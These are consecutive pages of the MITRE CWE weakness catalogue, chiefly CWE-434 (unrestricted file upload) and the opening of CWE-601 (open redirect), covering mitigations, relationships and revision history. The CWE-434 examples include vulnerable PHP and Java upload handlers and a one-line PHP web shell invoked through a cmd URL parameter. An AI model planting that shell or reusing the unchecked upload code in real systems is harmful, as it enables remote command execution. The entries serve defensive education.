Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 485 7PK - Encapsulation
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 963 SFP Secondary Cluster: Exposed Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1348 OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1364 ICS Communications: Zone Boundary Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1416 Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
7 Pernicious Kingdoms Trust Boundary Violation
Software Fault Patterns SFP23 Exposed Data
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07.
<https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		7 Pernicious Kingdoms
+ Modifications
Modification Date Modifier Organization
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated References
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2014-06-23 CWE Content Team MITRE
updated Description, Other_Notes
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2008-09-08 CWE Content Team MITRE
updated Description, Relationships, Other_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Demonstrative_Example, Time_of_Introduction
Back to top

CWE-434: Unrestricted Upload of File with Dangerous Type

Weakness ID: 434
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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Edit Custom Filter


+ Description
The product allows the upload or transfer of dangerous file types that are automatically processed within its environment. Diagram for CWE-434
+ Alternate Terms
Unrestricted File Upload
Used in vulnerability databases and elsewhere, but it is insufficiently precise. The phrase could be interpreted as the lack of restrictions on the size or number of uploaded files, which is a resource consumption issue.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Execute Unauthorized Code or Commands

Scope: Integrity, Confidentiality, Availability

Arbitrary code execution is possible if an uploaded file is interpreted and executed as code by the recipient. This is especially true for web-server extensions such as .asp and .php because these file types are often treated as automatically executable, even when file system permissions do not specify execution. For example, in Unix environments, programs typically cannot run unless the execute bit is set, but PHP programs may be executed by the web server without directly invoking them on the operating system.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design
Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[REF-422] [REF-423]

Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Architecture and Design
Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [REF-423]

Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.

Architecture and Design
Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.

Implementation

Strategy: Input Validation

Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter.[REF-422] [REF-423]

Implementation
When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.

Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Implementation
Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.

Implementation
Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.

Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Note: The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 669 Incorrect Resource Transfer Between Spheres
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 351 Insufficient Type Distinction
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 430 Deployment of Wrong Handler
PeerOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 436 Interpretation Conflict
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 73 External Control of File Name or Path
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 183 Permissive List of Allowed Inputs
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 184 Incomplete List of Disallowed Inputs
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 429 Handler Errors
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 669 Incorrect Resource Transfer Between Spheres
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1011 Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation
Architecture and Design OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

ASP.NET (Sometimes Prevalent)

PHP (Often Prevalent)

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Web Server (Sometimes Prevalent)

+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1


The following code intends to allow a user to upload a picture to the web server. The HTML code that drives the form on the user end has an input field of type "file".

(good code)
Example Language: HTML 
<form action="upload_picture.php" method="post" enctype="multipart/form-data">

Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>

</form>

Once submitted, the form above sends the file to upload_picture.php on the web server. PHP stores the file in a temporary location until it is retrieved (or discarded) by the server side code. In this example, the file is moved to a more permanent pictures/ directory.

(bad code)
Example Language: PHP 

// Define the target location where the picture being

// uploaded is going to be saved.
$target = "pictures/" . basename($_FILES['uploadedfile']['name']);

// Move the uploaded file to the new location.
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target))
{
echo "The picture has been successfully uploaded.";
}
else
{
echo "There was an error uploading the picture, please try again.";
}

The problem with the above code is that there is no check regarding type of file being uploaded. Assuming that pictures/ is available in the web document root, an attacker could upload a file with the name:

(attack code)
 
malicious.php

Since this filename ends in ".php" it can be executed by the web server. In the contents of this uploaded file, the attacker could use:

(attack code)
Example Language: PHP 
<?php
system($_GET['cmd']);

?>

Once this file has been installed, the attacker can enter arbitrary commands to execute using a URL such as:

(attack code)
 
http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l

which runs the "ls -l" command - or any other type of command that the attacker wants to specify.



Example 2


The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

(good code)
Example Language: HTML 
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">

Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>

</form>

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

(bad code)
Example Language: Java 
public class FileUploadServlet extends HttpServlet {
...

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String contentType = request.getContentType();

// the starting position of the boundary header
int ind = contentType.indexOf("boundary=");
String boundary = contentType.substring(ind+9);

String pLine = new String();
String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value

// verify that content type is multipart form data
if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
// extract the filename from the Http header
BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
...
pLine = br.readLine();
String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
...

// output the file to the local upload directory
try {
BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) {
if (line.indexOf(boundary) == -1) {
bw.write(line);
bw.newLine();
bw.flush();
}
} //end of for loop
bw.close();


} catch (IOException ex) {...}
// output successful upload response HTML page
}
// output unsuccessful upload response HTML page
else
{...}
}
...
}

This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
PHP-based FAQ management app does not check the MIME type for uploaded images
Web-based mail product stores ".shtml" attachments that could contain SSI
PHP upload does not restrict file types
upload and execution of .php file
upload file with dangerous extension
program does not restrict file types
improper type checking of uploaded files
Double "php" extension leaves an active php extension in the generated filename.
ASP program allows upload of .asp files by bypassing client-side checks
ASP file upload
ASP file upload
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
This can be primary when there is no check for the file type at all.
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
This can be resultant when use of double extensions (e.g. ".php.gif") bypasses a check.
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
This can be resultant from client-side enforcement (CWE-602); some products will include web script in web clients to check the filename, without verifying on the server side.
+ Detection Methods
Method Details

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High
+ Functional Areas
  • File Processing
+ Affected Resources
  • File or Directory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 714 OWASP Top Ten 2007 Category A3 - Malicious File Execution
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 801 2010 Top 25 - Insecure Interaction Between Components
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 813 OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 864 2011 Top 25 - Insecure Interaction Between Components
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1131 CISQ Quality Measures (2016) - Security
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1200 Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1308 CISQ Quality Measures - Security
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1337 Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1340 CISQ Data Protection Measures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1348 OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1350 Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1364 ICS Communications: Zone Boundary Failures
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1387 Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1416 Comprehensive Categorization: Resource Lifecycle Management
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1425 Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1430 Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This can have a chaining relationship with incomplete denylist / permissive allowlist errors when the product tries, but fails, to properly limit which types of files are allowed (CWE-183, CWE-184).

This can also overlap multiple interpretation errors for intermediaries, e.g. anti-virus products that do not remove or quarantine attachments with certain file extensions that can be processed by client systems.

+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Unrestricted File Upload
OWASP Top Ten 2007 A3 CWE More Specific Malicious File Execution
OMG ASCSM ASCSM-CWE-434
+ References
[REF-422] Richard Stanway (r1CH). "Dynamic File Uploads, Security and You".
<https://web.archive.org/web/20090208005456/http://shsc.info/FileUploadSecurity>. (URL validated: 2023-04-07)
[REF-423] Johannes Ullrich. "8 Basic Rules to Implement Secure File Uploads". 2009-12-28.
<https://www.sans.org/blog/8-basic-rules-to-implement-secure-file-uploads/>. (URL validated: 2023-04-07)
[REF-424] Johannes Ullrich. "Top 25 Series - Rank 8 - Unrestricted Upload of Dangerous File Type". SANS Software Security Institute. 2010-02-25.
<https://www.sans.org/blog/top-25-series-rank-8-unrestricted-upload-of-dangerous-file-type/>. (URL validated: 2023-04-07)
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14.
<https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. (URL validated: 2023-04-07)
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "File Uploading", Page 1068. 1st Edition. Addison Wesley. 2006.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-434. 2016-01.
<http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Contributions
Contribution Date Contributor Organization
2024-02-29
(CWE 4.15, 2024-07-16) 		Abhi Balakrishnan
Provided diagram to improve CWE usability
+ Modifications
Modification Date Modifier Organization
2024-11-19
(CWE 4.16, 2024-11-19) 		CWE Content Team MITRE
updated Relationships
2024-07-16
(CWE 4.15, 2024-07-16) 		CWE Content Team MITRE
updated Common_Consequences, Description, Diagram, Weakness_Ordinalities
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated References, Relationships
2023-01-31 CWE Content Team MITRE
updated Alternate_Terms, Description
2022-10-13 CWE Content Team MITRE
updated References
2022-06-28 CWE Content Team MITRE
updated Relationships
2022-04-28 CWE Content Team MITRE
updated Research_Gaps
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-07-20 CWE Content Team MITRE
updated Relationships
2021-03-15 CWE Content Team MITRE
updated Demonstrative_Examples
2020-12-10 CWE Content Team MITRE
updated Relationships
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-06-25 CWE Content Team MITRE
updated Potential_Mitigations, Relationship_Notes
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Potential_Mitigations
2019-09-19 CWE Content Team MITRE
updated Relationships
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns
2019-01-03 CWE Content Team MITRE
updated References, Relationships, Taxonomy_Mappings
2017-11-08 CWE Content Team MITRE
updated Affected_Resources, Applicable_Platforms, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships, Weakness_Ordinalities
2015-12-07 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Detection_Factors
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated References, Relationships
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, References, Relationships
2011-06-27 CWE Content Team MITRE
updated Relationships
2010-12-13 CWE Content Team MITRE
updated Potential_Mitigations
2010-09-27 CWE Content Team MITRE
updated Potential_Mitigations
2010-06-21 CWE Content Team MITRE
updated References, Relationship_Notes
2010-04-05 CWE Content Team MITRE
updated Related_Attack_Patterns
2010-02-16 CWE Content Team MITRE
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Name, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Type, Weakness_Ordinalities
2010-02-16 CWE Content Team MITRE
converted from Compound_Element to Weakness
2009-12-28 CWE Content Team MITRE
updated Applicable_Platforms, Functional_Areas, Likelihood_of_Exploit, Potential_Mitigations, Time_of_Introduction
2009-01-12 CWE Content Team MITRE
updated Relationships
2008-09-08 CWE Content Team MITRE
updated Alternate_Terms, Relationships, Other_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2010-02-16 Unrestricted File Upload
Back to top

CWE-601: URL Redirection to Untrusted Site ('Open Redirect')

Weakness ID: 601
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect. Diagram for CWE-601
+ Alternate Terms
Open Redirect
Cross-site Redirect
Cross-domain Redirect
Unvalidated Redirect
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Bypass Protection Mechanism; Gain Privileges or Assume Identity

Scope: Access Control

The user may be redirected to an untrusted page that contains malware which may then compromise the user's machine. This will expose the user to extensive risk and the user's interaction with the web server may also be compromised if the malware conducts keylogging or other attacks that steal credentials, personally identifiable information (PII), or other important data.

Bypass Protection Mechanism; Gain Privileges or Assume Identity; Other

Scope: Access Control, Confidentiality, Other

By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam. The user may be subjected to phishing attacks by being redirected to an untrusted page. The phishing attack may point to an attacker controlled web page that appears to be a trusted web site. The phishers may then steal the user's credentials and then use these credentials to access the legitimate web site. Because the server name in the modified link is identical to the original site, phishing attempts have a more trustworthy appearance.
+ Potential Mitigations
Phase(s) Mitigation

Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Use a list of approved URLs or domains to be used for redirection.

Architecture and Design
Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.

Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.

Architecture and Design
Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [REF-483]. Be sure that the nonce is not predictable (CWE-330).
Note: Note that this can be bypassed using XSS (CWE-79).

Architecture and Design; Implementation

Strategy: Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.

Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 610 Externally Controlled Reference to a Resource in Another Sphere
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 19 Data Processing Errors
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 610 Externally Controlled Reference to a Resource in Another Sphere
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
